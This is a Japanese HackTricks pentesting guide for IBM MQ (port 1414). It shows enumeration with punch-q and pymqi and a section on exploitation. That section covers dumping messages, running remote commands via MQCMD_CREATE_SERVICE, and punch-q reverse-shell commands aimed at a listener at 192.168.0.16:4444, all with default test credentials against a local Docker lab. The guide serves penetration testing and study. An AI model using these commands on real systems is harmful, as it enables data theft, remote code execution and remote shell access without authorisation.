21 KiB
1414 - IBM MQのペンテスト
☁️ HackTricks Cloud ☁️ - 🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricksで企業を宣伝したいですか?または最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを発見し、独占的なNFTsのコレクションを見つけてください
- 公式PEASS&HackTricksスウェグを手に入れましょう
- 💬 Discordグループに参加するか、telegramグループに参加するか、Twitter 🐦@carlospolopmをフォローしてください。
- ハッキングトリックを共有するには、hacktricksリポジトリとhacktricks-cloudリポジトリにPRを提出してください。
基本情報
IBM MQは、メッセージキューを管理するためのIBMテクノロジーです。他のメッセージブローカー技術と同様に、プロデューサーとコンシューマー間の情報を受信、保存、処理、分類することに特化しています。
デフォルトでは、IBM MQはTCPポート1414を公開しています。 時々、HTTP REST APIがポート9443で公開されていることがあります。 メトリクス(Prometheus)はTCPポート9157からアクセスできる場合もあります。
IBM MQ TCPポート1414は、メッセージ、キュー、チャネルなどを操作するだけでなく、インスタンスを制御するためにも使用できます。
IBMは、https://www.ibm.com/docs/en/ibm-mqで利用可能な大規模な技術ドキュメントを提供しています。
ツール
簡単な攻撃には**punch-q**が推奨されており、Dockerを使用しています。このツールはPythonライブラリpymqi
をアクティブに使用しています。
より手動的なアプローチには、Pythonライブラリ**pymqi**を使用します。IBM MQの依存関係が必要です。
pymqiのインストール
IBM MQの依存関係をインストールしてロードする必要があります:
- https://login.ibm.com/でアカウント(IBMid)を作成します。
- https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fcからIBM MQライブラリをダウンロードします。Linux x86_64用には9.0.0.4-IBM-MQC-LinuxX64.tar.gzがあります。
- 解凍します(
tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz
)。 - ライセンス条件に同意するために
sudo ./mqlicense.sh
を実行します。
Kali Linuxを使用している場合は、ファイル
mqlicense.sh
を変更してください:次の行(105-110行目)を削除/コメントアウトします:if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ] then echo "ERROR: This package is incompatible with this system" echo " This package was built for ${BUILD_PLATFORM}" exit 1 fi
- これらのパッケージをインストールします:
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
- その後、
.so
ファイルを一時的にLDに追加します:export LD_LIBRARY_PATH=/opt/mqm/lib64
、他のツールを実行する前にこれらの依存関係を使用しています。
次に、プロジェクト pymqi をクローンします:興味深いコードスニペット、定数などが含まれています。または、次のコマンドでライブラリを直接インストールできます:pip install pymqi
。
punch-q の使用
Docker を使用する場合
単純に次を使用します:sudo docker run --rm -ti leonjza/punch-q
。
Docker を使用しない場合
プロジェクト punch-q をクローンし、インストールのために readme に従ってください(pip install -r requirements.txt && python3 setup.py install
)。
その後、punch-q
コマンドで使用できます。
列挙
punch-q または pymqi を使用して、キューマネージャー名、ユーザー、チャネル、およびキュー を列挙することができます。
キューマネージャー
時々、キューマネージャー名を取得するための保護がない場合があります:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name
Queue Manager name: MYQUEUEMGR
チャンネル
punch-qは既存のチャンネルを見つけるために内部(変更可能)のワードリストを使用しています。使用例:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels
"DEV.ADMIN.SVRCONN" exists and was authorised.
"SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
"SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.
いくつかのIBM MQインスタンスは、認証されていないMQリクエストを受け入れることがありますので、--username / --password
は必要ありません。もちろん、アクセス権も異なる場合があります。
一度チャネル名(ここでは:DEV.ADMIN.SVRCONN
)を取得すると、他のすべてのチャネルを列挙することができます。
列挙は基本的に、pymqiのcode/examples/dis_channels.py
からのこのコードスニペットを使用して行うことができます。
import logging
import pymqi
logging.basicConfig(level=logging.INFO)
queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'
prefix = '*'
args = {pymqi.CMQCFC.MQCACH_CHANNEL_NAME: prefix}
qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)
try:
response = pcf.MQCMD_INQUIRE_CHANNEL(args)
except pymqi.MQMIError as e:
if e.comp == pymqi.CMQC.MQCC_FAILED and e.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME:
logging.info('No channels matched prefix `%s`' % prefix)
else:
raise
else:
for channel_info in response:
channel_name = channel_info[pymqi.CMQCFC.MQCACH_CHANNEL_NAME]
logging.info('Found channel `%s`' % channel_name)
qmgr.disconnect()
... しかし、punch-qもその部分を埋め込みます(詳細情報付き!)。 次のようにして起動できます:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
Showing channels with prefix: "*"...
| Name | Type | MCA UID | Conn Name | Xmit Queue | Description | SSL Cipher |
|----------------------|-------------------|---------|-----------|------------|-----------------|------------|
| DEV.ADMIN.SVRCONN | Server-connection | | | | | |
| DEV.APP.SVRCONN | Server-connection | app | | | | |
| SYSTEM.AUTO.RECEIVER | Receiver | | | | Auto-defined by | |
| SYSTEM.AUTO.SVRCONN | Server-connection | | | | Auto-defined by | |
| SYSTEM.DEF.AMQP | AMQP | | | | | |
| SYSTEM.DEF.CLUSRCVR | Cluster-receiver | | | | | |
| SYSTEM.DEF.CLUSSDR | Cluster-sender | | | | | |
| SYSTEM.DEF.RECEIVER | Receiver | | | | | |
| SYSTEM.DEF.REQUESTER | Requester | | | | | |
| SYSTEM.DEF.SENDER | Sender | | | | | |
| SYSTEM.DEF.SERVER | Server | | | | | |
| SYSTEM.DEF.SVRCONN | Server-connection | | | | | |
| SYSTEM.DEF.CLNTCONN | Client-connection | | | | | |
キュー
pymqi (dis_queues.py
) でコードスニペットがありますが、punch-q はキューに関するさらに多くの情報を取得できます。
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*'
Showing queues with prefix: "*"...
| Created | Name | Type | Usage | Depth | Rmt. QM | Rmt. Qu | Description |
| | | | | | GR Name | eue Nam | |
| | | | | | | e | |
|-----------|----------------------|--------|---------|--------|---------|---------|-----------------------------------|
| 2023-10-1 | DEV.DEAD.LETTER.QUEU | Local | Normal | 0 | | | |
| 0 18.35.1 | E | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.1 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.2 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
| 2023-10-1 | DEV.QUEUE.3 | Local | Normal | 0 | | | |
| 0 18.35.1 | | | | | | | |
| 9 | | | | | | | |
# Truncated
Exploit
メッセージのダンプ
キュー/チャネルをターゲットにして、そこからメッセージをスニッフィング/ダンプすることができます(破壊的な操作ではありません)。例:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump
特定されたすべてのキューに反復処理を躊躇しないでください。
コード実行
続行する前にいくつかの詳細: IBM MQは複数の方法で制御できます: MQSC、PCF、Control Command。一般的なリストはIBM MQドキュメントにあります。 PCF (Programmable Command Formats)は、インスタンスとリモートでやり取りするために焦点を当てています。punch-q そしてさらに pymqi は PCF インタラクションに基づいています。
PCFコマンドのリストを見つけることができます:
- PCFドキュメントから、および
- 定数から。
興味深いコマンドの1つは
MQCMD_CREATE_SERVICE
で、そのドキュメントはこちらで利用できます。これは、インスタンス上のローカルプログラムを指すStartCommand
を引数として取ります(例:/bin/sh
)。
ドキュメントにはコマンドの警告もあります: "注意: このコマンドを使用すると、ユーザーが mqm 権限で任意のコマンドを実行できます。このコマンドの使用権限が付与された場合、悪意のあるユーザーや不注意なユーザーが、例えば重要なファイルを削除することでシステムやデータを損傷させるサービスを定義できます。"
注: IBM MQドキュメント(管理リファレンス)によれば、サービス作成(
DEFINE SERVICE
)のための等価なMQSCコマンドを実行するためのHTTPエンドポイント/admin/action/qmgr/{qmgrName}/mqsc
も存在します。この側面はここではまだカバーされていません。
PCFを使用してリモートプログラムの実行のためのサービス作成/削除は punch-q によって行うことができます:
例1
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id"
IBM MQのログには、次のようにコマンドが正常に実行されたことが記録されています:
2023-10-10T19:13:01.713Z AMQ5030I: The Command '808544aa7fc94c48' has started. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]
マシン上の既存のプログラムを列挙することもできます(ここでは/bin/doesnotexist
...は存在しません):
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg
s "whatever"
Command: /bin/doesnotexist
Arguments: -c id
Service Name: 6e3ef5af652b4436
Creating service...
Starting service...
The program '/bin/doesnotexist' is not available on the remote system.
Giving the service 0 second(s) to live...
Cleaning up service...
Done
プログラムの起動は非同期であることに注意してください。そのため、エクスプロイトを活用するためには、別のアイテムが必要です (逆シェル用のリスナー、異なるサービス上でのファイル作成、ネットワークを介したデータの外部流出など)
例2
簡単な逆シェルのために、punch-q はまた2つの逆シェルペイロードを提案しています:
- bashを使用したもの
- perlを使用したもの
もちろん、execute
コマンドを使用してカスタムの逆シェルを構築することもできます。
bash用:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
Perlの場合:
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
カスタム PCF
IBM MQ のドキュメントを調査し、punch-q で実装されていない特定の PCF コマンドをテストするために pymqi Python ライブラリを直接使用できます。
例:
import pymqi
queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'
qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)
try:
# Replace here with your custom PCF args and command
# The constants can be found in pymqi/code/pymqi/CMQCFC.py
args = {pymqi.CMQCFC.xxxxx: "value"}
response = pcf.MQCMD_CUSTOM_COMMAND(args)
except pymqi.MQMIError as e:
print("Error")
else:
# Process response
qmgr.disconnect()
定数名が見つからない場合は、IBM MQドキュメントを参照できます。
MQCMD_REFRESH_CLUSTER
の例(10進数 = 73)。MQCA_CLUSTER_NAME
(10進数 = 2029)が必要で、*
にすることができます(Doc: ):import pymqi queue_manager = 'MYQUEUEMGR' channel = 'DEV.ADMIN.SVRCONN' host = '172.17.0.2' port = '1414' conn_info = '%s(%s)' % (host, port) user = 'admin' password = 'passw0rd' qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password) pcf = pymqi.PCFExecute(qmgr) try: args = {2029: "*"} response = pcf.MQCMD_REFRESH_CLUSTER(args) except pymqi.MQMIError as e: print("Error") else: print(response) qmgr.disconnect()
テスト環境
IBM MQの動作と脆弱性をテストしたい場合は、Dockerをベースにしたローカル環境をセットアップできます:
- ibm.comおよびcloud.ibm.comにアカウントを持っていること。
- 次の手順でコンテナ化されたIBM MQを作成します:
sudo docker pull icr.io/ibm-messaging/mq:9.3.2.0-r2
sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:9.3.2.0-r2
デフォルトでは、認証が有効になっており、ユーザー名は admin
でパスワードは passw0rd
です(環境変数 MQ_ADMIN_PASSWORD
)。
ここでは、キューマネージャー名が MYQUEUEMGR
に設定されています(変数 MQ_QMGR_NAME
)。
IBM MQ が稼働しており、ポートが公開されている必要があります:
❯ sudo docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
58ead165e2fd icr.io/ibm-messaging/mq:9.3.2.0-r2 "runmqdevserver" 3 seconds ago Up 3 seconds 0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp testing-ibmmq
IBM MQの古いバージョンのDockerイメージは次の場所にあります: https://hub.docker.com/r/ibmcom/mq/.